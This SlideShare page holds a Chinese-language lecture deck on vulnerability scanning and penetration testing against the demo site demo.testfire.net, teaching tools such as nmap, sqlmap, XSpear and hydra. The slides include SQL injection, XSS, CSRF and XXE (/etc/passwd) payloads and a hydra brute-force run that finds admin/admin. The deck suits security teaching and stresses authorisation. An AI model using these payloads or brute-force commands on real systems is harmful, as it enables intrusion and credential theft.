SlideShare une entreprise Scribd logo
1  sur  56
Télécharger pour lire hors ligne
Vuln Scan and Pen Test
講師:zeze
Re:從零開始的檢測員生活
弱點掃描 – Vulnaribility Scan(Vuln Scan)
簡介:
檢查管理的主機、伺服器或網路設備是否存在可能的漏洞,以
及確認機器上各個 Port 的狀態與相關的服務
特性:
自動化、識別已知漏洞、成本低、速度快、測試頻率高
滲透測試 – Penetration Test(Pen Test)
簡介:
在應用層面或網絡層面進行攻擊,針對具體的功能,尋長正常
業務流程中未知的安全缺陷
特性:
人工+工具、發現且利用漏洞、成本高、速度慢、測試頻率低
不論是弱點掃描,或者滲透測試,最重要的一點就是授權
檢測方
受測方
檢測流程
Step 1: 檢測範圍 – 網段、服務、外網、內網……
Step 2: 檢測時程
Step 3: 檢測工具與方式 –
(工具) Nmap、OpenVAS、OWASP ZAP、……
(方式) 埠掃描、DDOS、社交工程、爆破密碼、……
Step 4: 實施檢測
Step 5: 改善作業
Step 6: 進行複檢
檢測流程有同有異,測試前請詳閱雙方合約書
興趣使然的檢測員
小 z 從受測方得知了一個IP : 65.61.137.117,並且授權對
它做弱點掃描與滲透測試
nmap
SYN Scan : nmap -sS [IP] -p [PORT]
Port Scan : nmap -sT [IP] -p [PORT]
UDP Scan : nmap –sU [IP] –p [PORT]
-T [NUM] : threads
-p : ports
more: man nmap
nmap -sS 65.61.137.117 -p-
Starting Nmap 7.80SVN ( https://nmap.org ) at 2020-0X-0X 22:19
CST
Nmap scan report for 65.61.137.117
Host is up (0.18s latency).
Not shown: 65531 filtered ports
PORT STATE SERVICE
80/tcp open http
443/tcp open https
8080/tcp open http-proxy
Nmap done: 1 IP address (1 host up) scanned in 1474.81 seconds
Port 服務對照表
常看到的服務通常會有對應的 port,因此可以針對服務進行滲透
ex.
21: FTP
22: SSH
25: SMTP
56: DNS
80: HTTP
443: HTTPS
More: https://www.iana.org/assignments/service-names-port-
numbers/service-names-port-numbers.xhtml
針對各服務的工具
Patator: 暴力破解各服務的帳戶
https://github.com/lanjelot/patator
Fierce: 暴力分析 DNS
https://github.com/mschwager/fierce
Nikto: 掃描 Web
sudo apt install nikto -y
針對各服務的工具
Patator: 暴力破解各服務的帳戶
https://github.com/lanjelot/patator
Fierce: 暴力分析 DNS
https://github.com/mschwager/fierce
Nikto: 掃描 Web
sudo apt install nikto -y
Nikto -host 65.61.137.117
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 65.61.137.117
+ Target Hostname: demo.testfire.net
+ Target Port: 80
+ Start Time: 2020-04-14 22:34:52 (GMT8)
---------------------------------------------------------------------------
+ Server: Apache-Coyote/1.1
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to
protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render
the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ ERROR: Error limit (20) reached for host, giving up. Last error: error reading HTTP
response
+ Scan terminated: 19 error(s) and 3 item(s) reported on remote host
+ End Time: 2020-04-14 22:36:50 (GMT8) (118 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
弱掃工具
OpenVAS
用來掃描系統的一套 OpenSource 工具產生弱點報告,有 WEB
介面
其他常見的弱掃軟體:Nessus, Multi-Scanner, ……
實作 - OpenVAS
Ubuntu 16.04 :
https://resdoss.blogspot.com/2018/04/openvas9ubuntu16kio
ptrix-level-1.html
Ubuntu 18.04 : https://kifarunix.com/how-to-install-and-
setup-openvas-9-vulnerability-scanner-on-ubuntu-18-04/
Kali linux : http://yearlin101.blogspot.com/2017/08/kali-
linux-openvas.html
興趣使然的檢測員
小 z 得知 65.61.137.117 有開 80 和 443 port,因此試著
連上網站,果然發現一個 domain 為 demo.testfire.net,於是
小 z 打算開始滲透測試這個網站,要從哪裡下手呢?
收集資料(Information Gathering)
簡介:在開始滲透前先做的事前準備工作,讓滲透的目標更具
體
收集資料–搜尋引擎
Google hacking
intitle: 標題
inurl: 網址
site: 網域
intext: 內文
filetype: 檔案類型
more: https://www.exploit-db.com/google-hacking-database
收集資料–搜尋引擎
shodan(Sentient Hyper-Optimized Data Access Network):
強大的物聯網搜尋引擎
https://www.shodan.io/
net: 網段
port: 有開啟的 port
country: 國家
product: 產品
hostname: 網域
收集資料
gitub:運氣好的話,會看到網站的程式可能被放在這,就
可以直接讀原始碼來找漏洞。
收集資料 – 插件
Wappalyzer: 透過發送 request 給指定 URL,從 response
的標頭獲得資訊
Chrome:
https://chrome.google.com/webstore/detail/wappalyzer/gppo
ngmhjkpfnbhagpmjfkannfbllamg?hl=zh-TW
Firefox:
https://addons.mozilla.org/zh-
TW/firefox/addon/wappalyzer/
收集資料 – chrome 插件
EditThisCookie: 每個網域有各自的 cookie,並且儲存在使
用者端,而這個插件讓使用者方便查閱與修改 cookie
Chrome:
https://chrome.google.com/webstore/detail/editthiscookie/fn
gmhnnpilhplaeedifhccceomclgfbg?hl=zh-TW
Firefox(Cookie Editor):
https://addons.mozilla.org/zh-TW/firefox/addon/edit-
cookie/
Cookie attributes
HostOnly: cookie 是否只用在指定網域
Session: 被當作 session 處理的 cookie
Secure: cookie 透過 http 還是 https 傳送
HTTP Only: cookie 能否 javascript 存取
SameSite: 根據當前網域是否與目標相同,決定是否發
cookie
目錄搜索
dirsearch
https://github.com/maurosoria/dirsearch
python3 dirsearch.py
-u [URL]
-e [EXTENSION]
-c [COOKIE]
-x [http code]
-r: recursively
python3 dirsearch.py -u https://demo.testfire.net/ -e * -r -x 403
……
[23:36:21] 302 - 0B - /images -> /images/
[23:36:22] 200 - 9KB - /index.jsp
[23:36:29] 200 - 8KB - /login.jsp
[23:36:47] 302 - 0B - /pr -> /pr/
……
興趣使然的檢測員
小 z 現在知道這個網站的網頁伺服器與程式語言,還有網站
的目錄和檔案,已經收集到不少資料的小 z 現在能做什麼?
滲透測試工具 - Burpsuite
簡介:可以安裝各種滲透套件,也有爬蟲、proxy 等多項
功能
https://portswigger.net/burp/communitydownload
SQL injection(sqli)
SELECT * FROM users WHERE name = ‘$USER’ and passwd=‘$PASSWD’ ;
SELECT * FROM users WHERE name = ‘’ or 1=1--’ and passwd=‘a’ ;
$USER = ‘ or 1=1-- $PASSWD = a
測試工具 - sqlmap
sqlmap
sudo apt install sqlmap
https://github.com/sqlmapproject/sqlmap
-u [URL]
--data=[POST DATA]
--level [NUM]
--risk [NUM]
more: sqlmap -h
sqlmap -u https://65.61.137.117/doLogin --data="uid=a&passw=b" --level=3 --risk=3 --drop-set-cookie
Parameter: uid (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: uid=-6055' OR 6504=6504-- HAZj&passw=bb&btnSubmit=Login
Cross site scripting(XSS)
ex.am/ple.php?s=Hello
Your input:
Hello
ex.am/ple.php?s=<img src=x onrror=alert(1)>
Your input:
ex.am 顯示
1 確定 取消
User input:Hello User input:<img src=x onerror=alert(1)>
XSpear
https://github.com/hahwul/XSpear
-u [URL]
--data [POST DATA]
-a:test to all params
more: Xspear -h
XSS 測試工具
XSpear -u "http://demo.testfire.net/search.jsp?query=a" -a
| NO | TYPE | ISSUE| METHOD | PARAM | PAYLOAD
……
| 7 | HIGH | XSS | GET | query | <audio src onloadstart=alert(45)>
| 8 | HIGH | XSS | GET | query | <marquee onstart=alert(45)>
| 9 | HIGH | XSS | GET | query | <video/poster/onerror=alert(45)>
……
Clickjacking
若有個網站 A 沒有把 X-Frame-Options 設為 DENY 或是
SAMEORIGIN,則另一個網站 B 就可以將 A 網站嵌入
同源策略 (Same-origin policy):在Web瀏覽器中,允許某個
網頁腳本訪問另一個網頁的數據,但前提是這兩個網頁必須有
相同的URI、主機名和埠號
Clickjacking
ex.am/ple.php
Your input:
Hello
ha.ck/er.php
<iframe src=http://ex.am/ple.php></iframe>
Your input:
Hello
Cross Site Request Forgery(CSRF)
若有個網站的重要 cookie 的 SameSite 沒有設定好,可能導
致駭客可以利用使用者的身分做壞事
SameSite:
No Restriction – 最寬鬆,cookie 會被夾帶在從其他網域
發出的 get 和 post request
Lax – 其次,只有 get request 時會夾帶 cookie
Strict – 最嚴格,不管是什麼 request,都不會夾帶這
個 cookie
Cross Site Request Forgery(CSRF)
ex.am/ple.php
Zeze info
user : zeze
password : ******
ha.ck/er.php
<a href=“http://ex.am/ple.php?m=edit&user=zeze&pass=123456”>Click!</a>
Click!
XML External Entity Injection(XXE)
<?xml version=“1.0” encoding=“utf-8”?>
<root>
<name>zeze</name>
</root>
ex.am/ple.php
Search
name: zeze
XML External Entity Injection(XXE)
<?xml version=“1.0” encoding=“utf-8”?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM
"file:///etc/passwd">]>
<root>
<name>&xxe</name>
</root>
ex.am/ple.php
Search
name: &xxe
OWASP Top 10
1. Injection
2. Broken Authentication
3. Sensitive Data
Exposure
4. XML External
Entities(XXE)
5. Broken Access Control
6. Security Misconfiguration
7. Cross-Site Scripting(XSS)
8. Insecure Deserialization
9. Using Components with
Known Vulneraabilities
10. Insufficient Logging &
Monitoring
https://owasp.org/www-project-top-ten/
滲透測試工具 - OWASP ZAP
簡介:OWASP Zed Attack Proxy(ZAP),Open Web
Application Security Project (OWASP) 開發的測試網頁
程式漏洞工具,並設有簡單易用的介面,讓網頁開發員測
試自己開發的網頁是否安全。
https://owasp.org/www-project-zap/
滲透測試 – 插件
HackBar
簡介:支援各種攻擊手法的 payload, encode/decode, hash
function, 也可以構造各種 request
Chrome:
https://chrome.google.com/webstore/detail/hackbar/ginpbkfigc
oaokgflihfhhmglmbchinc
Firefox:
https://addons.mozilla.org/zh-TW/firefox/addon/hackbar-
quantum/
興趣使然的檢測員
小 z 現在想要看看這個網站有沒有使用弱密碼,他該怎麼做
呢
爆破帳號密碼 - python
爆破帳號密碼 - hydra
hydra install
Kali: built-in
Other linux: https://github.com/vanhauser-thc/thc-hydra
Windows: https://github.com/maaaaz/thc-hydra-windows
Password Dictionary
https://github.com/danielmiessler/SecLists
hydra -L ./user.txt -P ./pass.txt demo.testfire.net http-post-form
"/doLogin:uid=^USER^&passw=^PASS^&btnSubmit=Login:F=Failed"
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-04-17 12:48:08
[DATA] max 4 tasks per 1 server, overall 4 tasks, 4 login tries (l:2/p:2), ~1 try pertask
[DATA] attacking http-post-
form://demo.testfire.net:80/doLogin:uid=^USER^&passw=^PASS^&btnSubmit=Login:F=Failed
[80][http-post-form] host: demo.testfire.net login: admin password: admin
興趣使然的檢測員
小 z 用盡渾身解數,不留餘力地找漏洞,總算有些成果。那
小 z 終於可以耍廢了嗎?
真是怠惰呢
報告書
測試完後,檢測方要將測試取得的資訊寫入報告中。包含系統
的狀態、弱點、漏洞、版本等等,還須附上建議改善方法,最
後將此報告書交給受測方。受測方將會在規定時間內將修復報
告提供給檢測方,而檢測方需在規定時間內將複測結果告知受
測方。
謝謝大家
Thanks For Listening
我要成為滲透王!

Contenu connexe

Similaire à VulnScan_PenTest.pdf

滲透測試基本技巧與經驗分享
滲透測試基本技巧與經驗分享滲透測試基本技巧與經驗分享
滲透測試基本技巧與經驗分享WEI CHIEH CHAO
 
02.python.开发最佳实践
02.python.开发最佳实践02.python.开发最佳实践
02.python.开发最佳实践Na Lee
 
C/C++调试、跟踪及性能分析工具综述
C/C++调试、跟踪及性能分析工具综述C/C++调试、跟踪及性能分析工具综述
C/C++调试、跟踪及性能分析工具综述Xiaozhe Wang
 
Sery lvs+keepalived
Sery lvs+keepalivedSery lvs+keepalived
Sery lvs+keepalivedcolderboy17
 
11/14王團研究室—安全大師王團論毒 in台中
11/14王團研究室—安全大師王團論毒 in台中11/14王團研究室—安全大師王團論毒 in台中
11/14王團研究室—安全大師王團論毒 in台中T客邦
 
Foundation of software development 2
Foundation of software development 2Foundation of software development 2
Foundation of software development 2netdbncku
 
Full Stack Monitoring with Prometheus and Grafana (Updated)
Full Stack Monitoring with Prometheus and Grafana (Updated)Full Stack Monitoring with Prometheus and Grafana (Updated)
Full Stack Monitoring with Prometheus and Grafana (Updated)Jazz Yao-Tsung Wang
 
构建ActionScript游戏服务器,支持超过15000并发连接
构建ActionScript游戏服务器,支持超过15000并发连接 构建ActionScript游戏服务器,支持超过15000并发连接
构建ActionScript游戏服务器,支持超过15000并发连接 Renaun Erickson
 
資訊問題 Release
資訊問題 Release資訊問題 Release
資訊問題 Releaseguestaff2c7a
 
資訊問題 Release
資訊問題 Release資訊問題 Release
資訊問題 Releaseguestaff2c7a
 
Php应用程序常见安全问题解析
Php应用程序常见安全问题解析Php应用程序常见安全问题解析
Php应用程序常见安全问题解析mysqlops
 
Proxmox VE 功能概觀、案例分享與實用工具 [2019/12/07] @Proxmox VE 中文使用者社團 2019 年會
Proxmox VE 功能概觀、案例分享與實用工具 [2019/12/07] @Proxmox VE 中文使用者社團 2019 年會Proxmox VE 功能概觀、案例分享與實用工具 [2019/12/07] @Proxmox VE 中文使用者社團 2019 年會
Proxmox VE 功能概觀、案例分享與實用工具 [2019/12/07] @Proxmox VE 中文使用者社團 2019 年會Jason Cheng
 
Software Engineer Talk
Software Engineer TalkSoftware Engineer Talk
Software Engineer TalkLarry Cai
 
OpenStack Network Planning
OpenStack Network PlanningOpenStack Network Planning
OpenStack Network PlanningHui Cheng
 
Sales q&a apc3.0
Sales q&a apc3.0Sales q&a apc3.0
Sales q&a apc3.0ahnlabchina
 
Apc3.0 销售常见问答
Apc3.0 销售常见问答Apc3.0 销售常见问答
Apc3.0 销售常见问答ahnlabchina
 
阿里巴巴 肖劲青 阿里巴巴运维自动化的探索与规划
阿里巴巴 肖劲青 阿里巴巴运维自动化的探索与规划阿里巴巴 肖劲青 阿里巴巴运维自动化的探索与规划
阿里巴巴 肖劲青 阿里巴巴运维自动化的探索与规划colderboy17
 
阿里巴巴运维自动化的探索与规划
阿里巴巴运维自动化的探索与规划阿里巴巴运维自动化的探索与规划
阿里巴巴运维自动化的探索与规划mysqlops
 

Similaire à VulnScan_PenTest.pdf (20)

滲透測試基本技巧與經驗分享
滲透測試基本技巧與經驗分享滲透測試基本技巧與經驗分享
滲透測試基本技巧與經驗分享
 
PHPUnit
PHPUnitPHPUnit
PHPUnit
 
02.python.开发最佳实践
02.python.开发最佳实践02.python.开发最佳实践
02.python.开发最佳实践
 
C/C++调试、跟踪及性能分析工具综述
C/C++调试、跟踪及性能分析工具综述C/C++调试、跟踪及性能分析工具综述
C/C++调试、跟踪及性能分析工具综述
 
Sery lvs+keepalived
Sery lvs+keepalivedSery lvs+keepalived
Sery lvs+keepalived
 
11/14王團研究室—安全大師王團論毒 in台中
11/14王團研究室—安全大師王團論毒 in台中11/14王團研究室—安全大師王團論毒 in台中
11/14王團研究室—安全大師王團論毒 in台中
 
Manual
ManualManual
Manual
 
Foundation of software development 2
Foundation of software development 2Foundation of software development 2
Foundation of software development 2
 
Full Stack Monitoring with Prometheus and Grafana (Updated)
Full Stack Monitoring with Prometheus and Grafana (Updated)Full Stack Monitoring with Prometheus and Grafana (Updated)
Full Stack Monitoring with Prometheus and Grafana (Updated)
 
构建ActionScript游戏服务器,支持超过15000并发连接
构建ActionScript游戏服务器,支持超过15000并发连接 构建ActionScript游戏服务器,支持超过15000并发连接
构建ActionScript游戏服务器,支持超过15000并发连接
 
資訊問題 Release
資訊問題 Release資訊問題 Release
資訊問題 Release
 
資訊問題 Release
資訊問題 Release資訊問題 Release
資訊問題 Release
 
Php应用程序常见安全问题解析
Php应用程序常见安全问题解析Php应用程序常见安全问题解析
Php应用程序常见安全问题解析
 
Proxmox VE 功能概觀、案例分享與實用工具 [2019/12/07] @Proxmox VE 中文使用者社團 2019 年會
Proxmox VE 功能概觀、案例分享與實用工具 [2019/12/07] @Proxmox VE 中文使用者社團 2019 年會Proxmox VE 功能概觀、案例分享與實用工具 [2019/12/07] @Proxmox VE 中文使用者社團 2019 年會
Proxmox VE 功能概觀、案例分享與實用工具 [2019/12/07] @Proxmox VE 中文使用者社團 2019 年會
 
Software Engineer Talk
Software Engineer TalkSoftware Engineer Talk
Software Engineer Talk
 
OpenStack Network Planning
OpenStack Network PlanningOpenStack Network Planning
OpenStack Network Planning
 
Sales q&a apc3.0
Sales q&a apc3.0Sales q&a apc3.0
Sales q&a apc3.0
 
Apc3.0 销售常见问答
Apc3.0 销售常见问答Apc3.0 销售常见问答
Apc3.0 销售常见问答
 
阿里巴巴 肖劲青 阿里巴巴运维自动化的探索与规划
阿里巴巴 肖劲青 阿里巴巴运维自动化的探索与规划阿里巴巴 肖劲青 阿里巴巴运维自动化的探索与规划
阿里巴巴 肖劲青 阿里巴巴运维自动化的探索与规划
 
阿里巴巴运维自动化的探索与规划
阿里巴巴运维自动化的探索与规划阿里巴巴运维自动化的探索与规划
阿里巴巴运维自动化的探索与规划
 

Plus de ssuser8b461f

Quantum factorization.pdf
Quantum factorization.pdfQuantum factorization.pdf
Quantum factorization.pdfssuser8b461f
 
Off-Path-Attacks-Against-PKI.pdf
Off-Path-Attacks-Against-PKI.pdfOff-Path-Attacks-Against-PKI.pdf
Off-Path-Attacks-Against-PKI.pdfssuser8b461f
 
Lost-In-The-Loader.pdf
Lost-In-The-Loader.pdfLost-In-The-Loader.pdf
Lost-In-The-Loader.pdfssuser8b461f
 
Attacks-From-a-New-Front-Door-in-4G-5G-Mobile-Networks.pdf
Attacks-From-a-New-Front-Door-in-4G-5G-Mobile-Networks.pdfAttacks-From-a-New-Front-Door-in-4G-5G-Mobile-Networks.pdf
Attacks-From-a-New-Front-Door-in-4G-5G-Mobile-Networks.pdfssuser8b461f
 

Plus de ssuser8b461f (9)

OS-01 intro.pdf
OS-01 intro.pdfOS-01 intro.pdf
OS-01 intro.pdf
 
lec3.pdf
lec3.pdflec3.pdf
lec3.pdf
 
lec2.pdf
lec2.pdflec2.pdf
lec2.pdf
 
lec1.pdf
lec1.pdflec1.pdf
lec1.pdf
 
2021-1577.pdf
2021-1577.pdf2021-1577.pdf
2021-1577.pdf
 
Quantum factorization.pdf
Quantum factorization.pdfQuantum factorization.pdf
Quantum factorization.pdf
 
Off-Path-Attacks-Against-PKI.pdf
Off-Path-Attacks-Against-PKI.pdfOff-Path-Attacks-Against-PKI.pdf
Off-Path-Attacks-Against-PKI.pdf
 
Lost-In-The-Loader.pdf
Lost-In-The-Loader.pdfLost-In-The-Loader.pdf
Lost-In-The-Loader.pdf
 
Attacks-From-a-New-Front-Door-in-4G-5G-Mobile-Networks.pdf
Attacks-From-a-New-Front-Door-in-4G-5G-Mobile-Networks.pdfAttacks-From-a-New-Front-Door-in-4G-5G-Mobile-Networks.pdf
Attacks-From-a-New-Front-Door-in-4G-5G-Mobile-Networks.pdf
 

VulnScan_PenTest.pdf